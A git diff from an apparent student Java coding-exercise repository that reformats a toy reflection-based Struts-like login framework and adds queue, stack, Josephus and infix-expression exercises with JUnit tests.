-        return "fail";
+	if ("test".equals(name) && "1234".equals(password)) {
+	    this.message = "login successful";
+	    return "success";
+	}
+	this.message = "login failed,please check your user/pwd";
+	return "fail";
     }
-    
+
     public void setName(String name) {
-        this.name = name;
+	this.name = name;
     }
-   
+
     public void setPassword(String password) {
-        this.password = password;
+	this.password = password;
     }
-    
+
     public String getMessage() {
-        return this.message;
+	return this.message;
     }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtil.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtil.java
index 1efcb21574..850f644a2b 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtil.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtil.java
@@ -7,76 +7,74 @@
 import java.util.List;
 import java.util.Map;
 
+public class ReflectionUtil {
 
-public class ReflectionUtil
-{
+    public static List<Method> getSetterMethods(Class<?> clz) {
 
-	public static List<Method> getSetterMethods(Class<?> clz) {
-		
-		return getMethods(clz, "set");
-	}
+	return getMethods(clz, "set");
+    }
+
+    public static void setParameters(Object o, Map<String, String> params) {
+
+	List<Method> methods = getSetterMethods(o.getClass());
+
+	for (String name : params.keySet()) {
+
+	    String methodName = "set" + name;
+
+	    for (Method m : methods) {
 
-	public static void setParameters(Object o, Map<String, String> params) {
-		
-	    List<Method> methods = getSetterMethods(o.getClass());
-		
-	    for(String name : params.keySet()) {
-		    
-		String methodName = "set" + name;
-			
-		for(Method m : methods) {
-				
-		    if(m.getName().equalsIgnoreCase(methodName)) {
-			try {
-				m.invoke(o, params.get(name));
-						
-			}catch(IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
-				e.printStackTrace();
-			}
+		if (m.getName().equalsIgnoreCase(methodName)) {
+		    try {
+			m.invoke(o, params.get(name));
+
+		    } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+			e.printStackTrace();
 		    }
 		}
 	    }
-		
 	}
 
-	public static List<Method> getGetterMethods(Class<?> clz) {
-		
-	    return getMethods(clz, "get");
-	}
+    }
 
-	public static List<Method> getMethods(Class<?> clz, String startWithName) {
-		
-	    List<Method> methods = new ArrayList<>();
-	    for(Method m : clz.getDeclaredMethods()) {
+    public static List<Method> getGetterMethods(Class<?> clz) {
 
-		if(m.getName().startsWith(startWithName)) {
-		    methods.add(m);
-		}
+	return getMethods(clz, "get");
+    }
+
+    public static List<Method> getMethods(Class<?> clz, String startWithName) {
+
+	List<Method> methods = new ArrayList<>();
+	for (Method m : clz.getDeclaredMethods()) {
+
+	    if (m.getName().startsWith(startWithName)) {
+		methods.add(m);
 	    }
-	
-	    return methods;
 	}
 
-	public static Map<String, Object> getParameterMap(Object o) {
-		
-	    Map<String, Object> params = new HashMap<>();
-		
-	    List<Method> methods = getGetterMethods(o.getClass());
-		
-	    for(Method m : methods) {
-			
-		String methodName = m.getName();
-		String name = methodName.replaceFirst("get", "").toLowerCase();
-			
-		try {
-		    Object value = m.invoke(o);
-		    params.put(name, value);
-				
-		}catch(IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
-		    e.printStackTrace();
-		}
+	return methods;
+    }
+
+    public static Map<String, Object> getParameterMap(Object o) {
+
+	Map<String, Object> params = new HashMap<>();
+
+	List<Method> methods = getGetterMethods(o.getClass());
+
+	for (Method m : methods) {
+
+	    String methodName = m.getName();
+	    String name = methodName.replaceFirst("get", "").toLowerCase();
+
+	    try {
+		Object value = m.invoke(o);
+		params.put(name, value);
+
+	    } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+		e.printStackTrace();
 	    }
-		
-	    return params;
 	}
+
+	return params;
+    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtilTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtilTest.java
index ff4c30f05d..043b2d3050 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtilTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/ReflectionUtilTest.java
@@ -14,100 +14,99 @@
 import org.junit.Before;
 import org.junit.Test;
 
-
 public class ReflectionUtilTest {
 
-	@Before
-	public void setUp() throws Exception {
-	}
+    @Before
+    public void setUp() throws Exception {
+    }
 
-	@After
-	public void tearDown() throws Exception {
-	}
+    @After
+    public void tearDown() throws Exception {
+    }
 
-	@Test
-	public void testGetSetterMethod() throws Exception {
-		
-	    String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
-	    Class<?> clz = Class.forName(name);
-	    List<Method> methods = ReflectionUtil.getSetterMethods(clz);
-		
-	    Assert.assertEquals(2, methods.size());
-		
-	    List<String> expectedNames = new ArrayList<>();
-	    expectedNames.add("setName");
-	    expectedNames.add("setPassword");
-		
-	    Set<String> acctualNames = new HashSet<>();
-	    for(Method m : methods) {
-			
-		acctualNames.add(m.getName());
-	    }
-		
-	    Assert.assertTrue(acctualNames.containsAll(expectedNames));
-	}
-	
-	@Test
-	public void testSetParameters() throws Exception {
-		
-	    String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
-	    Class<?> clz = 	Class.forName(name);
-	    Object o = clz.newInstance();
-		
-	    Map<String, String> params = new HashMap<String, String>();
-	    params.put("name", "test");
-	    params.put("password", "1234");
-		
-	    ReflectionUtil.setParameters(o, params);
-		
-	    Field f = clz.getDeclaredField("name");
-		
-	    f.setAccessible(true);
-	    Assert.assertEquals("test", f.get(o));
-		
-	    f = clz.getDeclaredField("password");
-	    f.setAccessible(true);
-	    Assert.assertEquals("1234", f.get(o));
-	}
-	
-	@Test
-	public void testGetGetterMethod() throws Exception {
-		
-	    String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
-	    Class<?> clz = 	Class.forName(name);
-	    List<Method> methods = ReflectionUtil.getGetterMethods(clz);
-		
-	    Assert.assertEquals(3, methods.size());
-		
-	    List<String> expectedNames = new ArrayList<>();
-	    expectedNames.add("getMessage");
-	    expectedNames.add("getName");
-	    expectedNames.add("getPassword");
-		
-	    Set<String> acctualNames = new HashSet<>();
-	    for(Method m : methods) {
-			
-		acctualNames.add(m.getName());
-	    }
-		
-	    Assert.assertTrue(acctualNames.containsAll(expectedNames));
-		
+    @Test
+    public void testGetSetterMethod() throws Exception {
+
+	String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
+	Class<?> clz = Class.forName(name);
+	List<Method> methods = ReflectionUtil.getSetterMethods(clz);
+
+	Assert.assertEquals(2, methods.size());
+
+	List<String> expectedNames = new ArrayList<>();
+	expectedNames.add("setName");
+	expectedNames.add("setPassword");
+
+	Set<String> acctualNames = new HashSet<>();
+	for (Method m : methods) {
+
+	    acctualNames.add(m.getName());
 	}
-	
-	@Test
-	public void testGetParameters() throws Exception {
-		
-	    String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
-	    Class<?> clz = 	Class.forName(name);
-	    LoginAction action = (LoginAction)clz.newInstance();
-	    action.setName("test");
-	    action.setPassword("1234");
-		
-	    Map<String, Object> params = ReflectionUtil.getParameterMap(action);
-	    Assert.assertEquals(3, params.size());
-	    Assert.assertEquals(null, params.get("message"));
-	    Assert.assertEquals("test", params.get("name"));
-	    Assert.assertEquals("1234", params.get("password"));
+
+	Assert.assertTrue(acctualNames.containsAll(expectedNames));
+    }
+
+    @Test
+    public void testSetParameters() throws Exception {
+
+	String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
+	Class<?> clz = Class.forName(name);
+	Object o = clz.newInstance();
+
+	Map<String, String> params = new HashMap<String, String>();
+	params.put("name", "test");
+	params.put("password", "1234");
+
+	ReflectionUtil.setParameters(o, params);
+
+	Field f = clz.getDeclaredField("name");
+
+	f.setAccessible(true);
+	Assert.assertEquals("test", f.get(o));
+
+	f = clz.getDeclaredField("password");
+	f.setAccessible(true);
+	Assert.assertEquals("1234", f.get(o));
+    }
+
+    @Test
+    public void testGetGetterMethod() throws Exception {
+
+	String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
+	Class<?> clz = Class.forName(name);
+	List<Method> methods = ReflectionUtil.getGetterMethods(clz);
+
+	Assert.assertEquals(3, methods.size());
+
+	List<String> expectedNames = new ArrayList<>();
+	expectedNames.add("getMessage");
+	expectedNames.add("getName");
+	expectedNames.add("getPassword");
+
+	Set<String> acctualNames = new HashSet<>();
+	for (Method m : methods) {
+
+	    acctualNames.add(m.getName());
 	}
 
+	Assert.assertTrue(acctualNames.containsAll(expectedNames));
+
+    }
+
+    @Test
+    public void testGetParameters() throws Exception {
+
+	String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
+	Class<?> clz = Class.forName(name);
+	LoginAction action = (LoginAction) clz.newInstance();
+	action.setName("test");
+	action.setPassword("1234");
+
+	Map<String, Object> params = ReflectionUtil.getParameterMap(action);
+	Assert.assertEquals(3, params.size());
+	Assert.assertEquals(null, params.get("message"));
+	Assert.assertEquals("test", params.get("name"));
+	Assert.assertEquals("1234", params.get("password"));
+    }
+
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Struts.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Struts.java
index 270e26a57d..4a55b6c2d1 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Struts.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Struts.java
@@ -4,45 +4,43 @@
 import java.util.Map;
 
 public class Struts {
-	
+
     private final static Configuration cfg = new Configuration("struts.xml");
-	
-    public static View runAction(String actionName, Map<String,String> parameters) {
-		
+
+    public static View runAction(String actionName, Map<String, String> parameters) {
+
 	String clzName = cfg.getClassName(actionName);
-		
-	if(clzName == null) {
-    		
+
+	if (clzName == null) {
+
 	    return null;
-    	}
-    	
-		
+	}
+
 	try {
-			
-	    Class<?> clz = Class.forName(clzName);    	
+
+	    Class<?> clz = Class.forName(clzName);
 	    Object action = clz.newInstance();
-			
+
 	    ReflectionUtil.setParameters(action, parameters);
-			
+
 	    Method m = clz.getDeclaredMethod("execute");
-	    String resultName = (String)m.invoke(action);
+	    String resultName = (String) m.invoke(action);
 
-			
 	    Map<String, Object> params = ReflectionUtil.getParameterMap(action);
 	    String resultView = cfg.getResultView(actionName, resultName);
-			
+
 	    View view = new View();
 	    view.setParameters(params);
 	    view.setJsp(resultView);
 	    return view;
-			
-	}catch(Exception e) {
-			
+
+	} catch (Exception e) {
+
 	    e.printStackTrace();
 	}
-		
+
 	return null;
-		
+
     }
 
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/StrutsTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/StrutsTest.java
index 23dd0a0845..26b12d610c 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/StrutsTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/StrutsTest.java
@@ -8,43 +8,43 @@
 
 public class StrutsTest {
 
-	@Test
-	public void testLoginActionSuccess() {
-		
-	    String actionName = "login";
-        
-	    Map<String,String> params = new HashMap<String,String>();
-	    params.put("name","test");
-	    params.put("password","1234");
-        
+    @Test
+    public void testLoginActionSuccess() {
+
+	String actionName = "login";
+
+	Map<String, String> params = new HashMap<String, String>();
+	params.put("name", "test");
+	params.put("password", "1234");
+
+	View view;
+
+	view = Struts.runAction(actionName, params);
+
+	Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+	Assert.assertEquals("login successful", view.getParameters().get("message"));
+
+    }
+
+    @Test
+    public void testLoginActionFailed() {
+
+	String actionName = "login";
+	Map<String, String> params = new HashMap<String, String>();
+	params.put("name", "test");
+	params.put("password", "123456"); // 密码和预设的不一致
+
+	try {
+
 	    View view;
-		
+
 	    view = Struts.runAction(actionName, params);
+	    Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+	    Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
 
-	    Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-	    Assert.assertEquals("login successful", view.getParameters().get("message"));
-  
+	} catch (Exception e) {
+	    e.printStackTrace();
 	}
 
-	@Test
-	public void testLoginActionFailed() {
-		
-	   String actionName = "login";
-	   Map<String,String> params = new HashMap<String,String>();
-	   params.put("name","test");
-	   params.put("password","123456"); //密码和预设的不一致
-	   
-	   try {
-	       
-	       View view;
-				
-	       view = Struts.runAction(actionName,params);
-	       Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-	       Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-
-	   }catch(Exception e) {
-        	e.printStackTrace();
-	   }
-       
-	}
+    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/View.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/View.java
index 3e35a849c3..258b376ae2 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/View.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/View.java
@@ -2,30 +2,31 @@
 
 import java.util.Map;
 
-public class View 
-{
-    	private String jsp;
-	private Map parameters;
-	
-	//对应action获取Jsp
-	public String getJsp() {
-	    
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-	    
-		this.jsp = jsp;
-		return this;
-	}
-	
-	//execute()获取对应参数
-	public Map getParameters() {
-	    
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-	    
-		this.parameters = parameters;
-		return this;
-	}
+public class View {
+    private String jsp;
+    private Map parameters;
+
+    // 对应action获取Jsp
+    public String getJsp() {
+
+	return jsp;
+    }
+
+    public View setJsp(String jsp) {
+
+	this.jsp = jsp;
+	return this;
+    }
+
+    // execute()获取对应参数
+    public Map getParameters() {
+
+	return parameters;
+    }
+
+    public View setParameters(Map parameters) {
+
+	this.parameters = parameters;
+	return this;
+    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java
new file mode 100644
index 0000000000..cd82fb2550
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java
@@ -0,0 +1,38 @@
+package com.github.HarryHook.coding2017.queue;
+
+/**
+ * 用数组实现循环队列
+ * 
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue<E> {
+
+    private final static int DEFAULT_SIZE = 10;
+
+    // 用数组来保存循环队列的元素
+    private Object[] elementData = new Object[DEFAULT_SIZE];
+
+    // 队头
+    private int front = 0;
+    // 队尾
+    private int rear = 0;
+
+    public boolean isEmpty() {
+	return false;
+
+    }
+
+    public int size() {
+	return -1;
+    }
+
+    public void enQueue(E data) {
+
+    }
+
+    public E deQueue() {
+	return null;
+    }
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java
new file mode 100644
index 0000000000..7b5fe53f5e
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java
@@ -0,0 +1,18 @@
+package com.github.HarryHook.coding2017.queue;
+
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1），
+ * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来 该方法返回一个List， 包含了被杀死人的次序
+ * 
+ * @author liuxin
+ *
+ */
+public class Josephus {
+
+    public static List<Integer> execute(int n, int m) {
+	return null;
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/JosephusTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/JosephusTest.java
new file mode 100644
index 0000000000..39d2ef9971
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/queue/JosephusTest.java
@@ -0,0 +1,25 @@
+package com.github.HarryHook.coding2017.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class JosephusTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testExecute() {
+
+	Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/Queue.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/Queue.java
new file mode 100644
index 0000000000..3be0147770
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/queue/Queue.java
@@ -0,0 +1,55 @@
+package com.github.HarryHook.coding2017.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;
+    private Node<E> last;
+    private int size;
+
+    private static class Node<E> {
+	private E item;
+	private Node<E> next;
+    }
+
+    public Queue() {
+	first = null;
+	last = null;
+	size = 0;
+    }
+
+    public boolean isEmpty() {
+	return first == null;
+    }
+
+    public int size() {
+	return size;
+    }
+
+    public void enQueue(E data) {
+	Node<E> oldlast = last;
+	last = new Node<E>();
+	last.item = data;
+	last.next = null;
+	if (isEmpty()) {
+	    first = last;
+	} else {
+	    oldlast.next = last;
+	}
+	size++;
+    }
+
+    public E deQueue() {
+	if (isEmpty()) {
+	    throw new NoSuchElementException("Queue underflow");
+	}
+	E item = first.item;
+	first = first.next;
+	size--;
+	if (isEmpty()) {
+	    last = null;
+	}
+	return item;
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..c72abadcd2
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java
@@ -0,0 +1,37 @@
+package com.github.HarryHook.coding2017.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * 
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+
+    public QueueWithTwoStacks() {
+	stack1 = new Stack<E>();
+	stack2 = new Stack<E>();
+    }
+
+    public boolean isEmpty() {
+	return false;
+    }
+
+    public int size() {
+	return -1;
+    }
+
+    public void enQueue(E item) {
+
+    }
+
+    public E deQueue() {
+	return null;
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtil.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtil.java
new file mode 100644
index 0000000000..32bbc0da28
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtil.java
@@ -0,0 +1,138 @@
+package com.github.HarryHook.coding2017.stack;
+
+import com.github.HarryHook.coding2017.basic.MyStack;
+
+public class StackUtil {
+
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     */
+
+    public void reverse(MyStack s) {
+
+	if (s.isEmpty()) {
+	    return;
+	}
+	// 如果s里面只有一个元素，就返回。具体实现是先pop出来一个，判断剩下的是不是空栈。
+	Object tmp1 = s.pop();
+	reverse(s);
+	if (s.isEmpty()) {
+	    s.push(tmp1);
+	    return;
+	}
+	Object temp2 = s.pop();
+	reverse(s);
+	s.push(tmp1);
+	reverse(s);
+	s.push(temp2);
+
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     * 
+     * @param o
+     */
+    public void remove(MyStack s, Object o) {
+	if (s.isEmpty()) {
+	    return;
+	}
+	MyStack stack = new MyStack();
+	while (!(s.isEmpty())) {
+	    if (s.peek() != o) {
+		stack.push(s.pop());
+	    } else {
+		s.pop();
+	    }
+	}
+	while (!(stack.isEmpty())) {
+	    s.push(stack.pop());
+	}
+
+    }
+
+    /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty，
+     * 可以使用另外一个栈来辅助
+     * 
+     * @param len
+     * @return
+     */
+    public Object[] getTop(MyStack s, int len) {
+	if (s.isEmpty() || len <= 0) {
+	    return null;
+	}
+	if (len > s.size()) {
+	    len = s.size();
+	}
+	Object[] array = new Object[len];
+
+	int i = 0;
+	while (i < len) {
+	    array[i++] = s.pop();
+	}
+	while (i != 0) {
+	    s.push(array[--i]);
+	}
+	return array;
+    }
+
+    /**
+     * 字符串s 可能包含这些字符： ( ) [ ] { }, a,b,c... x,yz 使用堆栈检查字符串s中的括号是不是成对出现的。 例如s =
+     * "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true 如果 s = "([b{x]y})",
+     * 则该字符串中的括号不是成对出现的， 该方法返回false;
+     * 
+     * @param s
+     * @return
+     */
+    public boolean isValidPairs(String s) {
+	if (s == null || s == "") {
+	    return false;
+	}
+	MyStack stack = new MyStack();
+	for (int i = 0; i < s.length(); i++) {
+	    if (s.charAt(i) == '(') {
+		stack.push(s.charAt(i));
+	    } else if (s.charAt(i) == ')') {
+		if (stack.isEmpty()) {
+		    return false;
+		} else {
+		    char outOfStackChar = (char) stack.pop();
+		    if (outOfStackChar != '(') {
+			return false;
+		    }
+		}
+	    }
+
+	    if (s.charAt(i) == '{') {
+		stack.push(s.charAt(i));
+	    } else if (s.charAt(i) == '}') {
+		if (stack.isEmpty()) {
+		    return false;
+		} else {
+		    char outOfStackChar = (char) stack.pop();
+		    if (outOfStackChar != '{') {
+			return false;
+		    }
+		}
+	    }
+
+	    if (s.charAt(i) == '[') {
+		stack.push(s.charAt(i));
+	    } else if (s.charAt(i) == ']') {
+		if (stack.isEmpty()) {
+		    return false;
+		} else {
+		    char outOfStackChar = (char) stack.pop();
+		    if (outOfStackChar != '[') {
+			return false;
+		    }
+		}
+	    }
+
+	}
+	return true;
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtilTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtilTest.java
new file mode 100644
index 0000000000..59f1fa1a40
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtilTest.java
@@ -0,0 +1,78 @@
+package com.github.HarryHook.coding2017.stack;
+import com.github.HarryHook.coding2017.basic.MyStack;
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class StackUtilTest {
+    private StackUtil sk;
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testReverse() {
+	sk = new StackUtil();
+	MyStack stack = new MyStack();
+	stack.push(1);
+	stack.push(2);
+	stack.push(3);
+	sk.reverse(stack);
+	assertEquals(1, stack.pop());
+	assertEquals(2, stack.pop());
+	assertEquals(3, stack.pop());
+    }
+    @Test
+    public void testRemove() {
+	sk = new StackUtil();
+	MyStack stack = new MyStack();
+	stack.push(1);
+	stack.push(2);
+	stack.push(3);
+	stack.push(2);
+	stack.push(5);
+	sk.remove(stack, 2);
+	assertEquals(5, stack.pop());
+	assertEquals(3, stack.pop());
+	assertEquals(1, stack.pop());
+    }
+    @Test
+    public void testGetTop() {
+	sk = new StackUtil();
+	MyStack stack = new MyStack();
+	
+	Object[] array = sk.getTop(stack, 3);
+	assertNull(array);
+
+	stack.push(1);
+	stack.push(2);
+	stack.push(3);
+	stack.push(2);
+	stack.push(5);
+	array = sk.getTop(stack, 3);
+	assertArrayEquals(array, new Object[] {5, 2, 3});
+	array = sk.getTop(stack, 6);
+	assertArrayEquals(array, new Object[] {5, 2, 3, 2, 1});
+	array = sk.getTop(stack, -1);
+	assertNull(array);
+    }
+    @Test
+    public void testIsValidPairs() {
+	sk = new StackUtil();
+	String expr = null;
+	assertEquals(false, sk.isValidPairs(expr));
+	expr = "";
+	assertEquals(false, sk.isValidPairs(expr));
+	expr = "{xx[x]t)yyza]}";
+	assertEquals(false, sk.isValidPairs(expr));
+	expr = "asd{[(asds)]sx}";
+	assertEquals(true, sk.isValidPairs(expr));
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExpr.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..b9667fdaac
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExpr.java
@@ -0,0 +1,103 @@
+package com.github.HarryHook.coding2017.stack.expr;
+
+import com.github.HarryHook.coding2017.basic.MyStack;
+
+public class InfixExpr {
+
+    String expr = null;
+
+    public InfixExpr(String expr) {
+	this.expr = expr;
+    }
+
+    public float evaluate() {
+
+	char[] ch = expr.toCharArray();
+	MyStack stackOfOperator = new MyStack();
+	MyStack stackOfNumber = new MyStack();
+
+	for (int i = 0; i < ch.length; i++) {
+
+	    if (Character.isDigit(ch[i])) {
+		float tmp = Float.parseFloat("" + ch[i]);
+		while (i < ch.length - 1 && Character.isDigit(ch[++i])) {
+		    tmp = tmp * 10 + Float.parseFloat("" + ch[i]);
+		}
+
+		stackOfNumber.push(tmp);
+
+	    }
+	    if (ch[i] == '+' || ch[i] == '-' || ch[i] == '*' || ch[i] == '/') {
+		stackOfOperator.push(ch[i]);
+	    }
+
+	    char operator = (char) stackOfOperator.peek();
+	    if (operator == '*' || operator == '/') {
+		float tmp = Float.parseFloat("" + ch[++i]);
+		while (i < ch.length - 1 && Character.isDigit(ch[++i])) {
+		    tmp = tmp * 10 + Float.parseFloat("" + ch[i]);
+		}
+		if (i != ch.length - 1) {
+		    i--;
+		}
+		stackOfNumber.push(tmp);
+
+		float tmp1 = Float.parseFloat("" + stackOfNumber.pop());
+		float tmp2 = Float.parseFloat("" + stackOfNumber.pop());
+		if (operator == '*') {
+		    stackOfNumber.push(tmp1 * tmp2);
+		} else {
+		    stackOfNumber.push(tmp2 / tmp1);
+		}
+
+		stackOfOperator.pop();
+	    }
+
+	}
+	// 将栈中的数字和运算符逆置，从左往右结合
+	reverse(stackOfNumber);
+	reverse(stackOfOperator);
+
+	while (!(stackOfOperator.isEmpty())) {
+	    char operator = (char) stackOfOperator.peek();
+	    if (operator == '+' || operator == '-') {
+		float tmp1 = Float.parseFloat("" + stackOfNumber.pop());
+		float tmp2 = Float.parseFloat("" + stackOfNumber.pop());
+		if (operator == '+') {
+		    stackOfNumber.push(tmp1 + tmp2);
+		} else {
+		    stackOfNumber.push(tmp1 - tmp2);
+		}
+	    }
+
+	    stackOfOperator.pop();
+	}
+
+	return Float.parseFloat("" + stackOfNumber.pop());
+    }
+
+    private void reverse(MyStack s) {
+
+	if (s.isEmpty()) {
+	    return;
+	}
+	// 如果s里面只有一个元素，就返回。具体实现是先pop出来一个，判断剩下的是不是空栈。
+	Object tmp1 = s.pop();
+	reverse(s);
+	if (s.isEmpty()) {
+	    s.push(tmp1);
+	    return;
+	}
+	Object temp2 = s.pop();
+	reverse(s);
+	s.push(tmp1);
+	reverse(s);
+	s.push(temp2);
+
+    }
+
+    public static void main(String[] args) {
+	InfixExpr expr = new InfixExpr("2+3*4+5");
+	System.out.println(expr.evaluate());
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExprTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..4abd227502
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExprTest.java
@@ -0,0 +1,47 @@
+package com.github.HarryHook.coding2017.stack.expr;
+
+import org.junit.Assert;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class InfixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+	// InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+	{
+	    InfixExpr expr = new InfixExpr("2+3*4+5");
+	    Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+	}
+	{
+	    InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+	    Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+	}
+
+	{
+	    InfixExpr expr = new InfixExpr("3*20/2");
+	    Assert.assertEquals(30, expr.evaluate(), 0.001f);
+	}
+
+	{
+	    InfixExpr expr = new InfixExpr("20/2*3");
+	    Assert.assertEquals(30, expr.evaluate(), 0.001f);
+	}
+
+	{
+	    InfixExpr expr = new InfixExpr("10-30+50");
+	    Assert.assertEquals(30, expr.evaluate(), 0.001f);
+	}
+
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixToPostfix.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..10088e28cd
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixToPostfix.java
@@ -0,0 +1,53 @@
+package com.github.HarryHook.coding2017.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.sun.xml.internal.bind.v2.runtime.unmarshaller.XsiNilLoader.Array;
+
+//中序表达式： 3*20+12*5-40/2  转换成后续表达式：3 20 * 12 5 * + 40 2 / -
+//思路：当前token依次从左往右读取， 数字依次append， 当前入栈的运算符的优先级小于等于栈顶的运算符，栈顶操作符出栈
+public class InfixToPostfix {
+
+    public List<Token> convert(String expr) {
+	
+	TokenParser parser = new TokenParser();
